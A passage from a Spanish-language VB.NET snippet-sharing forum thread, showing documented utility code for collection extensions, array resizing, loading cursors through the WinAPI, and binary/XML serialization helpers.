  224.    '''  Dim splittedCols As IEnumerable(Of IEnumerable(Of Integer)) = mainCol.SplitIntoParts(amount:=2)
  225.    '''  splittedCols.ToList.ForEach(Sub(col As IEnumerable(Of Integer))
  226.    '''                                  Debug.WriteLine(String.Join(", ", col))
  227.    '''                              End Sub)
  228.    ''' </code>
  229.    ''' </example>
  230.    ''' ----------------------------------------------------------------------------------------------------
  231.    ''' <summary>
  232.    ''' Splits the source <see cref="IEnumerable(Of T)"/> into the specified amount of secuences.
  233.    ''' </summary>
  234.    ''' ----------------------------------------------------------------------------------------------------
  235.    ''' <typeparam name="T">
  236.    ''' </typeparam>
  237.    '''
  238.    ''' <param name="sender">
  239.    ''' The source collection.
  240.    ''' </param>
  241.    '''
  242.    ''' <param name="amount">
  243.    ''' The target amount of secuences.
  244.    ''' </param>
  245.    ''' ----------------------------------------------------------------------------------------------------
  246.    ''' <returns>
  247.    ''' <see cref="IEnumerable(Of IEnumerable(Of T))"/>.
  248.    ''' </returns>
  249.    ''' ----------------------------------------------------------------------------------------------------
  250.    <DebuggerStepThrough>
  251.    <DebuggerHidden>
  252.    <Extension>
  253.    Public Function SplitIntoParts(Of T)(ByVal sender As IEnumerable(Of T),
  254.                                         ByVal amount As Integer) As IEnumerable(Of IEnumerable(Of T))
  255.  
  256.        If (amount = 0) OrElse (amount > sender.Count) OrElse (sender.Count Mod amount <> 0) Then
  257.            Throw New ArgumentOutOfRangeException(paramName:="amount",
  258.                                                  message:="value should be greater than '0', smallest than 'col.Count', and multiplier of 'col.Count'.")
  259.        End If
  260.  
  261.        Dim chunkSize As Integer = CInt(Math.Ceiling(sender.Count() / amount))
  262.  
  263.        Return From index As Integer In Enumerable.Range(0, amount)
  264.               Select sender.Skip(chunkSize * index).Take(chunkSize)
  265.  
  266.    End Function
  267.  
  268.    ''' ----------------------------------------------------------------------------------------------------
  269.    ''' <remarks>
  270.    ''' Title : Split Collection Into Number Of Elements.
  271.    ''' Author: Elektro
  272.    ''' Date  : 08-March-2015
  273.    ''' </remarks>
  274.    ''' ----------------------------------------------------------------------------------------------------
  275.    ''' <example> This is a code example.
  276.    ''' <code>
  277.    '''  Dim mainCol As IEnumerable(Of Integer) = {1, 2, 3, 4, 5, 6, 7, 8, 9}
  278.    '''  Dim splittedCols As IEnumerable(Of IEnumerable(Of Integer)) = mainCol.SplitIntoNumberOfElements(amount:=4)
  279.    '''  splittedCols.ToList.ForEach(Sub(col As IEnumerable(Of Integer))
  280.    '''                                  Debug.WriteLine(String.Join(", ", col))
  281.    '''                              End Sub)
  282.    ''' </code>
  283.    ''' </example>
  284.    ''' ----------------------------------------------------------------------------------------------------
  285.    ''' <summary>
  286.    ''' Splits the source <see cref="IEnumerable(Of T)"/> into secuences with the specified amount of elements.
  287.    ''' </summary>
  288.    ''' ----------------------------------------------------------------------------------------------------
  289.    ''' <typeparam name="T">
  290.    ''' </typeparam>
  291.    '''
  292.    ''' <param name="sender">
  293.    ''' The source collection.
  294.    ''' </param>
  295.    '''
  296.    ''' <param name="amount">
  297.    ''' The target amount of elements.
  298.    ''' </param>
  299.    ''' ----------------------------------------------------------------------------------------------------
  300.    ''' <returns>
  301.    ''' <see cref="IEnumerable(Of IEnumerable(Of T))"/>.
  302.    ''' </returns>
  303.    ''' ----------------------------------------------------------------------------------------------------
  304.    <DebuggerStepThrough>
  305.    <DebuggerHidden>
  306.    <Extension>
  307.    Public Function SplitIntoNumberOfElements(Of T)(ByVal sender As IEnumerable(Of T),
  308.                                                    ByVal amount As Integer) As IEnumerable(Of IEnumerable(Of T))
  309.  
  310.        Return From index As Integer In Enumerable.Range(0, CInt(Math.Ceiling(sender.Count() / amount)))
  311.               Select sender.Skip(index * amount).Take(amount)
  312.  
  313.    End Function
  314.  
  315.    ''' ----------------------------------------------------------------------------------------------------
  316.    ''' <remarks>
  317.    ''' Title : Split Collection Into Number Of Elements.
  318.    ''' Author: Elektro
  319.    ''' Date  : 08-March-2015
  320.    ''' </remarks>
  321.    ''' ----------------------------------------------------------------------------------------------------
  322.    ''' <example> This is a code example.
  323.    ''' <code>
  324.    '''  Dim mainCol As IEnumerable(Of Integer) = {1, 2, 3, 4, 5, 6, 7, 8, 9}
  325.    '''  Dim splittedCols As IEnumerable(Of IEnumerable(Of Integer)) = mainCol.SplitIntoNumberOfElements(amount:=4, fillEmpty:=True, valueToFill:=0)
  326.    '''  splittedCols.ToList.ForEach(Sub(col As IEnumerable(Of Integer))
  327.    '''                                  Debug.WriteLine(String.Join(", ", col))
  328.    '''                              End Sub)
  329.    ''' </code>
  330.    ''' </example>
  331.    ''' ----------------------------------------------------------------------------------------------------
  332.    ''' <summary>
  333.    ''' Splits the source <see cref="IEnumerable(Of T)"/> into secuences with the specified amount of elements.
  334.    ''' </summary>
  335.    ''' ----------------------------------------------------------------------------------------------------
  336.    ''' <typeparam name="T">
  337.    ''' </typeparam>
  338.    '''
  339.    ''' <param name="sender">
  340.    ''' The source collection.
  341.    ''' </param>
  342.    '''
  343.    ''' <param name="amount">
  344.    ''' The target amount of elements.
  345.    ''' </param>
  346.    '''
  347.    ''' <param name="fillEmpty">
  348.    ''' If set to <c>true</c>, generates empty elements to fill the last secuence's part amount.
  349.    ''' </param>
  350.    '''
  351.    ''' <param name="valueToFill">
  352.    ''' An optional value used to fill the last secuence's part amount.
  353.    ''' </param>
  354.    ''' ----------------------------------------------------------------------------------------------------
  355.    ''' <returns>
  356.    ''' <see cref="IEnumerable(Of IEnumerable(Of T))"/>.
  357.    ''' </returns>
  358.    ''' ----------------------------------------------------------------------------------------------------
  359.    <DebuggerStepThrough>
  360.    <DebuggerHidden>
  361.    <Extension>
  362.    Public Function SplitIntoNumberOfElements(Of T)(ByVal sender As IEnumerable(Of T),
  363.                                                    ByVal amount As Integer,
  364.                                                    ByVal fillEmpty As Boolean,
  365.                                                    Optional valueToFill As T = Nothing) As IEnumerable(Of IEnumerable(Of T))
  366.  
  367.        Return (From count As Integer In Enumerable.Range(0, CInt(Math.Ceiling(sender.Count() / amount)))).
  368.                Select(Function(count)
  369.  
  370.                           Select Case fillEmpty
  371.  
  372.                               Case True
  373.                                   If (sender.Count - (count * amount)) >= amount Then
  374.                                       Return sender.Skip(count * amount).Take(amount)
  375.  
  376.                                   Else
  377.                                       Return sender.Skip(count * amount).Take(amount).
  378.                                                  Concat(Enumerable.Repeat(Of T)(
  379.                                                         valueToFill,
  380.                                                         amount - (sender.Count() - (count * amount))))
  381.                                   End If
  382.  
  383.                               Case Else
  384.                                   Return sender.Skip(count * amount).Take(amount)
  385.  
  386.                           End Select
  387.  
  388.                       End Function)
  389.  
  390.    End Function
  391.  
  392.    ''' ----------------------------------------------------------------------------------------------------
  393.    ''' <remarks>
  394.    ''' Title : Randomize Collection.
  395.    ''' Author: Elektro
  396.    ''' Date  : 08-March-2015
  397.    ''' </remarks>
  398.    ''' ----------------------------------------------------------------------------------------------------
  399.    ''' <example> This is a code example.
  400.    ''' <code>
  401.    ''' Dim col As IEnumerable(Of Integer) = {1, 2, 3, 4, 5, 6, 7, 8, 9}
  402.    ''' Debug.WriteLine(String.Join(", ", col.Randomize))
  403.    ''' </code>
  404.    ''' </example>
  405.    ''' ----------------------------------------------------------------------------------------------------
  406.    ''' <summary>
  407.    ''' Randomizes the elements of the source <see cref="IEnumerable(Of T)"/>.
  408.    ''' </summary>
  409.    ''' ----------------------------------------------------------------------------------------------------
  410.    ''' <typeparam name="T">
  411.    ''' </typeparam>
  412.    '''
  413.    ''' <param name="sender">
  414.    ''' The source collection.
  415.    ''' </param>
  416.    ''' ----------------------------------------------------------------------------------------------------
  417.    ''' <returns>
  418.    ''' <see cref="IEnumerable(Of T)"/>.
  419.    ''' </returns>
  420.    ''' ----------------------------------------------------------------------------------------------------
  421.    <DebuggerStepThrough>
  422.    <DebuggerHidden>
  423.    <Extension>
  424.    Public Function Randomize(Of T)(ByVal sender As IEnumerable(Of T)) As IEnumerable(Of T)
  425.  
  426.        Dim rand As New Random
  427.  
  428.        Return From item As T In sender
  429.               Order By rand.Next
  430.  
  431.    End Function
  432.  
  433.    ''' ----------------------------------------------------------------------------------------------------
  434.    ''' <remarks>
  435.    ''' Title : Concatenate Multiple Collections.
  436.    ''' Author: Elektro
  437.    ''' Date  : 08-March-2015
  438.    ''' </remarks>
  439.    ''' ----------------------------------------------------------------------------------------------------
  440.    ''' <example> This is a code example.
  441.    ''' <code>
  442.    ''' Dim col1 As IEnumerable(Of Integer) = {1, 2, 3}
  443.    ''' Dim col2 As IEnumerable(Of Integer) = {4, 5, 6}
  444.    ''' Dim col3 As IEnumerable(Of Integer) = {7, 8, 9}
  445.    ''' Debug.WriteLine(String.Join(", ", {col1, col2, col3}.ConcatMultiple))
  446.    ''' </code>
  447.    ''' </example>
  448.    ''' ----------------------------------------------------------------------------------------------------
  449.    ''' <summary>
  450.    ''' Concatenates multiple <see cref="IEnumerable(Of T)"/> at once into a single <see cref="IEnumerable(Of T)"/>.
  451.    ''' </summary>
  452.    ''' ----------------------------------------------------------------------------------------------------
  453.    ''' <typeparam name="T">
  454.    ''' </typeparam>
  455.    '''
  456.    ''' <param name="sender">
  457.    ''' The source collections.
  458.    ''' </param>
  459.    ''' ----------------------------------------------------------------------------------------------------
  460.    ''' <returns>
  461.    ''' <see cref="IEnumerable(Of T)"/>.
  462.    ''' </returns>
  463.    ''' ----------------------------------------------------------------------------------------------------
  464.    <DebuggerStepThrough>
  465.    <DebuggerHidden>
  466.    <Extension>
  467.    Public Function ConcatMultiple(Of T)(ByVal sender As IEnumerable(Of T)()) As IEnumerable(Of T)
  468.  
  469.        Return sender.SelectMany(Function(col As IEnumerable(Of T)) col)
  470.  
  471.    End Function
  472.  
  473.    ''' ----------------------------------------------------------------------------------------------------
  474.    ''' <remarks>
  475.    ''' Title : Join Multiple Collections Into Single String.
  476.    ''' Author: Elektro
  477.    ''' Date  : 08-March-2015
  478.    ''' </remarks>
  479.    ''' ----------------------------------------------------------------------------------------------------
  480.    ''' <example> This is a code example.
  481.    ''' <code>
  482.    ''' Dim col1 As IEnumerable(Of Integer) = {1, 2, 3}
  483.    ''' Dim col2 As IEnumerable(Of Integer) = {4, 5, 6}
  484.    ''' Dim col3 As IEnumerable(Of Integer) = {7, 8, 9}
  485.    ''' Debug.WriteLine({col1, col2, col3}.StringJoin(", ")))
  486.    ''' </code>
  487.    ''' </example>
  488.    ''' ----------------------------------------------------------------------------------------------------
  489.    ''' <summary>
  490.    ''' Joins multiple <see cref="IEnumerable(Of T)"/> at once into a single string.
  491.    ''' </summary>
  492.    ''' ----------------------------------------------------------------------------------------------------
  493.    ''' <typeparam name="T">
  494.    ''' </typeparam>
  495.    '''    
  496.    ''' <param name="separator">
  497.    ''' The string to use as a separator.
  498.    ''' </param>
  499.    '''
  500.    ''' <param name="sender">
  501.    ''' The source collections.
  502.    ''' </param>
  503.    ''' ----------------------------------------------------------------------------------------------------
  504.    ''' <returns>
  505.    ''' <see cref="String"/>.
  506.    ''' </returns>
  507.    ''' ----------------------------------------------------------------------------------------------------
  508.    <DebuggerStepThrough>
  509.    <DebuggerHidden>
  510.    <Extension>
  511.    Public Function StringJoin(Of T)(ByVal sender As IEnumerable(Of T)(),
  512.                                     ByVal separator As String) As String
  513.  
  514.        Dim sb As New System.Text.StringBuilder
  515.  
  516.        For Each col As IEnumerable(Of T) In sender
  517.            sb.Append(String.Join(separator, col) & separator)
  518.        Next col
  519.  
  520.        Return sb.Remove(sb.Length - separator.Length, separator.Length).ToString
  521.  
  522.    End Function
  523.  
  524.    ''' ----------------------------------------------------------------------------------------------------
  525.    ''' <remarks>
  526.    ''' Title : Count empty items of collection.
  527.    ''' Author: Elektro
  528.    ''' Date  : 16-June-2015
  529.    ''' </remarks>
  530.    ''' ----------------------------------------------------------------------------------------------------
  531.    ''' <example>
  532.    ''' Dim emptyItemCount As Integer = {"Hello", "   ", "World!"}.CountEmptyItems
  533.    ''' </example>
  534.    ''' ----------------------------------------------------------------------------------------------------
  535.    ''' <summary>
  536.    ''' Counts the empty items of the source <see cref="IEnumerable(Of T)"/>.
  537.    ''' </summary>
  538.    ''' ----------------------------------------------------------------------------------------------------
  539.    ''' <param name="sender">
  540.    ''' The source <see cref="IEnumerable(Of T)"/>.
  541.    ''' </param>
  542.    ''' ----------------------------------------------------------------------------------------------------
  543.    ''' <returns>
  544.    ''' The total amount of empty items.
  545.    ''' </returns>
  546.    ''' ----------------------------------------------------------------------------------------------------
  547.    <DebuggerStepThrough>
  548.    <DebuggerHidden>
  549.    <Extension>
  550.    Public Function CountEmptyItems(Of T)(ByVal sender As IEnumerable(Of T)) As Integer
  551.  
  552.        Return (From item As T In sender
  553.                Where (item.Equals(Nothing))).Count
  554.  
  555.    End Function
  556.  
  557.    ''' ----------------------------------------------------------------------------------------------------
  558.    ''' <remarks>
  559.    ''' Title : Count non-empty items of collection.
  560.    ''' Author: Elektro
  561.    ''' Date  : 16-June-2015
  562.    ''' </remarks>
  563.    ''' ----------------------------------------------------------------------------------------------------
  564.    ''' <example>
  565.    ''' Dim nonEmptyItemCount As Integer = {"Hello", "   ", "World!"}.CountNonEmptyItems
  566.    ''' </example>
  567.    ''' ----------------------------------------------------------------------------------------------------
  568.    ''' <summary>
  569.    ''' Counts the non-empty items of the source <see cref="IEnumerable(Of T)"/>.
  570.    ''' </summary>
  571.    ''' ----------------------------------------------------------------------------------------------------
  572.    ''' <param name="sender">
  573.    ''' The source <see cref="IEnumerable(Of T)"/>.
  574.    ''' </param>
  575.    ''' ----------------------------------------------------------------------------------------------------
  576.    ''' <returns>
  577.    ''' The total amount of non-empty items.
  578.    ''' </returns>
  579.    ''' ----------------------------------------------------------------------------------------------------
  580.    <DebuggerStepThrough>
  581.    <DebuggerHidden>
  582.    <Extension>
  583.    Public Function CountNonEmptyItems(Of T)(ByVal sender As IEnumerable(Of T)) As Integer
  584.  
  585.        Return (sender.Count - IEnumerableExtensions.CountEmptyItems(sender))
  586.  
  587.    End Function
  588.  
  589. End Module
  590.  
  591. #End Region











IEnumerable(Of String) Extensions, cómo su propio nombre indica, expone varias extensiones de método para utilizarlas con una colección de strings.

Las extensiones son las siguiente, si alguna no es lo suficientemente aclaratoria entonces pueden usar IntelliSense o el ObjectInspector para conocer el propósito de cada una:
Código
  1. IEnumerable(Of String).BubbleSort As IEnumerable(Of String)
  2. IEnumerable(Of String).CountEmptyItems As Integer
  3. IEnumerable(Of String).CountNonEmptyItems As Integer
  4. IEnumerable(Of String).FindByContains(String, Boolean) As IEnumerable(Of String)
  5. IEnumerable(Of String).FindByLike(String, Boolean) As IEnumerable(Of String)
  6. IEnumerable(Of String).FindExact(String, StringComparison) As IEnumerable(Of String)
  7. IEnumerable(Of String).RemoveByContains(String, Boolean) As IEnumerable(Of String)
  8. IEnumerable(Of String).RemoveByLike(String, Boolean) As IEnumerable(Of String)
  9. IEnumerable(Of String).RemoveExact(String, StringComparison) As IEnumerable(Of String)


Puse ejemplos de uso para cada extensión en la documentación XML del código fuente.

Source:
http://pastebin.com/6XfLcMj8










Array Extensions, cómo su propio nombre indica, expone extensiones de método para utilizarlas con Arays.

Aunque realmente, por el momento solo puse una extensión, pero de igual modo comparto el código para que puedan extender su funcionalidad o tomar la idea como base.

La extensión es la siguiente, sirve para redimensionar el tamaño del array de forma automatizada y más veloz que la habitual.
Código
  1. T().Resize As T()

Source:
Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 10-September-2015
  4. ' ***********************************************************************
  5. ' <copyright file="Array Extensions.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Public Members Summary "
  11.  
  12. #Region " Functions "
  13.  
  14. ' T().Resize As T()
  15.  
  16. #End Region
  17.  
  18. #End Region
  19.  
  20. #Region " Option Statements "
  21.  
  22. Option Strict On
  23. Option Explicit On
  24. Option Infer Off
  25.  
  26. #End Region
  27.  
  28. #Region " Imports "
  29.  
  30. Imports System
  31. Imports System.Diagnostics
  32. Imports System.Runtime.CompilerServices
  33.  
  34. #End Region
  35.  
  36. ''' ----------------------------------------------------------------------------------------------------
  37. ''' <summary>
  38. ''' Contains custom extension methods to use with an <see cref="Array"/>.
  39. ''' </summary>
  40. ''' ----------------------------------------------------------------------------------------------------
  41. Public Module ArrayExtensions
  42.  
  43. #Region " Public Extension Methods "
  44.  
  45.    ''' ----------------------------------------------------------------------------------------------------
  46.    ''' <remarks>
  47.    ''' Title : Resize Array.
  48.    ''' Author: Elektro
  49.    ''' Date  : 10-September-2015
  50.    ''' </remarks>
  51.    ''' ----------------------------------------------------------------------------------------------------
  52.    ''' <example> This is a code example.
  53.    ''' <code>
  54.    ''' Dim myArray(50) As Integer
  55.    ''' Console.WriteLine(String.Format("{0,-12}: {1}", "Initial Size", myArray.Length))
  56.    '''
  57.    ''' myArray = myArray.Resize(myArray.Length - 51)
  58.    ''' Console.WriteLine(String.Format("{0,-12}: {1}", "New Size", myArray.Length))
  59.    ''' </code>
  60.    ''' </example>
  61.    ''' ----------------------------------------------------------------------------------------------------
  62.    ''' <summary>
  63.    ''' Resizes the number of elements of the source <see cref="Array"/>.
  64.    ''' </summary>
  65.    ''' ----------------------------------------------------------------------------------------------------
  66.    ''' <typeparam name="T">
  67.    ''' </typeparam>
  68.    '''
  69.    ''' <param name="sender">
  70.    ''' The source <see cref="Array"/>.
  71.    ''' </param>
  72.    '''
  73.    ''' <param name="newSize">
  74.    ''' The new size.
  75.    ''' </param>
  76.    ''' ----------------------------------------------------------------------------------------------------
  77.    ''' <returns>
  78.    ''' The resized <see cref="Array"/>.
  79.    ''' </returns>
  80.    ''' ----------------------------------------------------------------------------------------------------
  81.    ''' <exception cref="System.ArgumentOutOfRangeException">
  82.    ''' newSize;Non-negative number required
  83.    ''' </exception>
  84.    ''' ----------------------------------------------------------------------------------------------------
  85.    <DebuggerStepThrough>
  86.    <DebuggerHidden>
  87.    <Extension>
  88.    Public Function Resize(Of T)(ByVal sender As T(),
  89.                                 ByVal newSize As Integer) As T()
  90.  
  91.        If (newSize <= 0) Then
  92.            Throw New System.ArgumentOutOfRangeException(paramName:="newSize", message:="Value greater than 0 is required.")
  93.        End If
  94.  
  95.        Dim preserveLength As Integer = Math.Min(sender.Length, newSize)
  96.  
  97.        If (preserveLength > 0) Then
  98.            Dim newArray As Array = Array.CreateInstance(sender.GetType.GetElementType, newSize)
  99.            Array.Copy(sender, newArray, preserveLength)
  100.            Return DirectCast(newArray, T())
  101.  
  102.        Else
  103.            Return sender
  104.  
  105.        End If
  106.  
  107.    End Function
  108.  
  109. #End Region
  110.  
  111. End Module


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 19 Septiembre 2015, 09:51 am
CursorUtil.vb, es una class que por el momento sirve cómo un simple wrapper de la función LoadCursorFromFile de la WinAPI, la cual nos permite evadir las limitaciones de un WindowsForms para poder cargar y utilizar un cursor que no sea blanco y negro.

Source:
Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 08-September-2015
  4. ' ***********************************************************************
  5. ' <copyright file="CursorUtil.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Imports "
  11.  
  12. Imports System
  13. Imports System.ComponentModel
  14. Imports System.Diagnostics
  15. Imports System.IO
  16. Imports System.Linq
  17. Imports System.Runtime.InteropServices
  18. Imports System.Windows.Forms
  19.  
  20. #End Region
  21.  
  22. ''' ----------------------------------------------------------------------------------------------------
  23. ''' <summary>
  24. ''' Contains related cursor utilities.
  25. ''' </summary>
  26. ''' ----------------------------------------------------------------------------------------------------
  27. Public NotInheritable Class CursorUtil
  28.  
  29. #Region " P/Invoking "
  30.  
  31.    ''' ----------------------------------------------------------------------------------------------------
  32.    ''' <summary>
  33.    ''' Platform Invocation methods (P/Invoke), access unmanaged code.
  34.    ''' This class does not suppress stack walks for unmanaged code permission.
  35.    ''' <see cref="System.Security.SuppressUnmanagedCodeSecurityAttribute"/> must not be applied to this class.
  36.    ''' This class is for methods that can be used anywhere because a stack walk will be performed.
  37.    ''' </summary>
  38.    ''' ----------------------------------------------------------------------------------------------------
  39.    ''' <remarks>
  40.    ''' MSDN Documentation: <see href="http://msdn.microsoft.com/en-us/library/ms182161.aspx"/>
  41.    ''' </remarks>
  42.    ''' ----------------------------------------------------------------------------------------------------
  43.    Private NotInheritable Class NativeMethods
  44.  
  45. #Region " Functions "
  46.  
  47.        ''' ----------------------------------------------------------------------------------------------------
  48.        ''' <summary>
  49.        ''' Creates a cursor based on data contained in a file.
  50.        ''' </summary>
  51.        ''' ----------------------------------------------------------------------------------------------------
  52.        ''' <param name="filepath">
  53.        ''' The source of the file data to be used to create the cursor.
  54.        ''' The data in the file must be in either .CUR or .ANI format.
  55.        ''' </param>
  56.        ''' ----------------------------------------------------------------------------------------------------
  57.        ''' <returns>
  58.        ''' If the function is successful, the return value is an <see cref="IntPtr"/> to the new cursor.
  59.        ''' If the function fails, the return value is <see cref="IntPtr.Zero"/>.
  60.        ''' To get extended error information, call <see cref="Marshal.GetLastWin32Error"/>.
  61.        ''' </returns>
  62.        ''' ----------------------------------------------------------------------------------------------------    
  63.        ''' <remarks>
  64.        ''' MSDN Documentation: <see href="https://msdn.microsoft.com/en-us/library/windows/desktop/ms648392%28v=vs.85%29.aspx"/>
  65.        ''' </remarks>
  66.        ''' ----------------------------------------------------------------------------------------------------
  67.        <DllImport("User32.dll", CharSet:=CharSet.Ansi, BestFitMapping:=False, ThrowOnUnmappableChar:=True, SetLastError:=True)>
  68.        Friend Shared Function LoadCursorFromFile(
  69.               ByVal filepath As String
  70.        ) As IntPtr
  71.        End Function
  72.  
  73. #End Region
  74.  
  75.    End Class
  76.  
  77. #End Region
  78.  
  79. #Region " Constructors "
  80.  
  81.    ''' <summary>
  82.    ''' Prevents a default instance of the <see cref="CursorUtil"/> class from being created.
  83.    ''' </summary>
  84.    Private Sub New()
  85.    End Sub
  86.  
  87. #End Region
  88.  
  89. #Region " Public Methods "
  90.  
  91.    ''' ----------------------------------------------------------------------------------------------------
  92.    ''' <summary>
  93.    ''' Creates a cursor based on data contained in a managed .Net resource.
  94.    ''' </summary>
  95.    ''' ----------------------------------------------------------------------------------------------------
  96.    ''' <param name="resource">
  97.    ''' The raw resource data.
  98.    ''' </param>
  99.    ''' ----------------------------------------------------------------------------------------------------
  100.    ''' <returns>
  101.    ''' <see cref="System.Windows.Forms.Cursor"/>.
  102.    ''' </returns>
  103.    ''' ----------------------------------------------------------------------------------------------------
  104.    ''' <exception cref="Exception">
  105.    ''' </exception>
  106.    '''
  107.    ''' <exception cref="Win32Exception">
  108.    ''' </exception>
  109.    ''' ----------------------------------------------------------------------------------------------------
  110.    <DebuggerStepThrough>
  111.    <DebuggerHidden>
  112.    Public Shared Function LoadCursorFromResource(ByVal resource As Byte(),
  113.                                                  Optional cleanTempFile As Boolean = False) As Cursor
  114.  
  115.        Dim tmpFilepath As String = Path.GetTempFileName
  116.  
  117.        Try
  118.            Using fs As New FileStream(tmpFilepath, FileMode.Create, FileAccess.Write, FileShare.Read)
  119.                fs.Write(resource, 0, resource.Length)
  120.            End Using
  121.  
  122.            Dim result As IntPtr = NativeMethods.LoadCursorFromFile(tmpFilepath)
  123.            Dim win32Err As Integer = Marshal.GetLastWin32Error
  124.  
  125.            If (result = IntPtr.Zero) Then
  126.                Throw New Win32Exception([error]:=win32Err)
  127.            Else
  128.                Return New Cursor(result)
  129.            End If
  130.  
  131.        Catch ex As Exception
  132.            Throw
  133.  
  134.        Finally
  135.            If (cleanTempFile) AndAlso (File.Exists(tmpFilepath)) Then
  136.                File.Delete(tmpFilepath)
  137.            End If
  138.  
  139.        End Try
  140.  
  141.    End Function
  142.  
  143. #End Region
  144.  
  145. End Class









SerializationUtil.vb, es una class para serializar y deserializar datos en binario o Xml de forma (más)sencilla y haciendo uso de Generics.

Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 05-September-2015
  4. ' ***********************************************************************
  5. ' <copyright file="SerializationUtil.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Imports "
  11.  
  12. Imports System
  13. Imports System.Data
  14. Imports System.IO
  15. Imports System.Linq
  16. Imports System.Runtime.Serialization.Formatters.Binary
  17. Imports System.Xml.Serialization
  18.  
  19. #End Region
  20.  
  21. ''' <summary>
  22. ''' Contains related serialization utilities.
  23. ''' </summary>
  24. Public NotInheritable Class SerializationUtil
  25.  
  26. #Region " Constructors "
  27.  
  28.    ''' ----------------------------------------------------------------------------------------------------
  29.    ''' <summary>
  30.    ''' Prevents a default instance of the <see cref="SerializationUtil"/> class from being created.
  31.    ''' </summary>
  32.    ''' ----------------------------------------------------------------------------------------------------
  33.    Private Sub New()
  34.    End Sub
  35.  
  36. #End Region
  37.  
  38. #Region " Private Methods "
  39.  
  40.    ''' ----------------------------------------------------------------------------------------------------
  41.    ''' <summary>
  42.    ''' Gets the proper data serializer.
  43.    ''' </summary>
  44.    ''' ----------------------------------------------------------------------------------------------------
  45.    ''' <typeparam name="T">
  46.    ''' </typeparam>
  47.    '''
  48.    ''' <param name="format">
  49.    ''' The serialization format.
  50.    ''' </param>
  51.    ''' ----------------------------------------------------------------------------------------------------
  52.    ''' <exception cref="System.ArgumentException">
  53.    ''' Wrong Serialization Format.
  54.    ''' </exception>
  55.    ''' ----------------------------------------------------------------------------------------------------
  56.    <DebuggerStepThrough>
  57.    <DebuggerHidden>
  58.    Private Shared Function GetSerializer(Of T)(ByVal format As SerializationFormat) As Object
  59.  
  60.        Select Case format
  61.  
  62.            Case SerializationFormat.Binary
  63.                Return New BinaryFormatter
  64.  
  65.            Case SerializationFormat.Xml
  66.                Return New XmlSerializer(type:=GetType(T))
  67.  
  68.            Case Else
  69.                Throw New ArgumentException(message:="Wrong Serialization Format.", paramName:="serializationFormat")
  70.  
  71.        End Select
  72.  
  73.    End Function
  74.  
  75.    ''' ----------------------------------------------------------------------------------------------------
  76.    ''' <summary>
  77.    ''' Gets the proper data serializer.
  78.    ''' </summary>
  79.    ''' ----------------------------------------------------------------------------------------------------
  80.    ''' <typeparam name="T">
  81.    ''' </typeparam>
  82.    '''
  83.    ''' <param name="obj">
  84.    ''' The object to check.
  85.    ''' </param>
  86.    '''
  87.    ''' <param name="format">
  88.    ''' The serialization format.
  89.    ''' </param>
  90.    ''' ----------------------------------------------------------------------------------------------------
  91.    <DebuggerStepThrough>
  92.    <DebuggerHidden>
  93.    Private Shared Function GetSerializer(Of T)(ByVal obj As T,
  94.                                                ByVal format As SerializationFormat) As Object
  95.  
  96.        Select format
  97.  
  98.            Case SerializationFormat.Binary
  99.                Return New BinaryFormatter()
  100.  
  101.            Case SerializationFormat.Xml
  102.                Return New XmlSerializer(obj.GetType)
  103.  
  104.            Case Else
  105.                Throw New ArgumentException(message:="Wrong Serialization Format.", paramName:="serializationFormat")
  106.  
  107.        End Select
  108.  
  109.    End Function
  110.  
  111. #End Region
  112.  
  113. #Region " Public Methods "
  114.  
  115.    ''' ----------------------------------------------------------------------------------------------------
  116.    ''' <summary>
  117.    ''' Serializes the data of an Object to the specified file, using the specified serialization format.
  118.    ''' </summary>
  119.    ''' ----------------------------------------------------------------------------------------------------
  120.    ''' <typeparam name="T">
  121.    ''' </typeparam>
  122.    '''
  123.    ''' <param name="obj">
  124.    ''' The object to be serialized.
  125.    ''' </param>
  126.    '''
  127.    ''' <param name="filepath">
  128.    ''' The filepath where to save the serialized data.
  129.    ''' </param>
  130.    '''
  131.    ''' <param name="format">
  132.    ''' The serialization format.
  133.    ''' </param>
  134.    ''' ----------------------------------------------------------------------------------------------------
  135.    <DebuggerStepThrough>
  136.    <DebuggerHidden>
  137.    Public Shared Sub Serialize(Of T)(ByVal obj As T,
  138.                                      ByVal filepath As String,
  139.                                      ByVal format As SerializationFormat)
  140.  
  141.        Dim serializer As Object = SerializationUtil.GetSerializer(obj, format)
  142.  
  143.        Using fs As New FileStream(filepath, FileMode.Create, FileAccess.Write, FileShare.Read)
  144.  
  145.            Select Case serializer.GetType
  146.  
  147.                Case GetType(BinaryFormatter)
  148.                    DirectCast(serializer, BinaryFormatter).Serialize(fs, obj)
  149.  
  150.                Case GetType(XmlSerializer)
  151.                    DirectCast(serializer, XmlSerializer).Serialize(fs, obj)
  152.  
  153.            End Select
  154.  
  155.        End Using
  156.  
  157.    End Sub
  158.  
  159.    ''' ----------------------------------------------------------------------------------------------------
  160.    ''' <summary>
  161.    ''' Deserializes the data of an Object from the specified file, using the specified deserialization format.
  162.    ''' </summary>
  163.    ''' ----------------------------------------------------------------------------------------------------
  164.    ''' <typeparam name="T">
  165.    ''' </typeparam>
  166.    '''
  167.    ''' <param name="filepath">
  168.    ''' The filepath where from deserialize the serialized data.
  169.    ''' </param>
  170.    '''
  171.    ''' <param name="format">
  172.    ''' The serialization format.
  173.    ''' </param>
  174.    ''' ----------------------------------------------------------------------------------------------------
  175.    <DebuggerStepThrough>
  176.    <DebuggerHidden>
  177.    Public Shared Function Deserialize(Of T)(ByVal filepath As String,
  178.                                             ByVal format As SerializationFormat) As T
  179.  
  180.        Dim serializer As Object = SerializationUtil.GetSerializer(Of T)(format)
  181.  
  182.        Using fs As New FileStream(filepath, FileMode.Open, FileAccess.Read, FileShare.Read)
  183.  
  184.            Select Case serializer.GetType
  185.  
  186.                Case GetType(BinaryFormatter)
  187.                    Return DirectCast(DirectCast(serializer, BinaryFormatter).Deserialize(fs), T)
  188.  
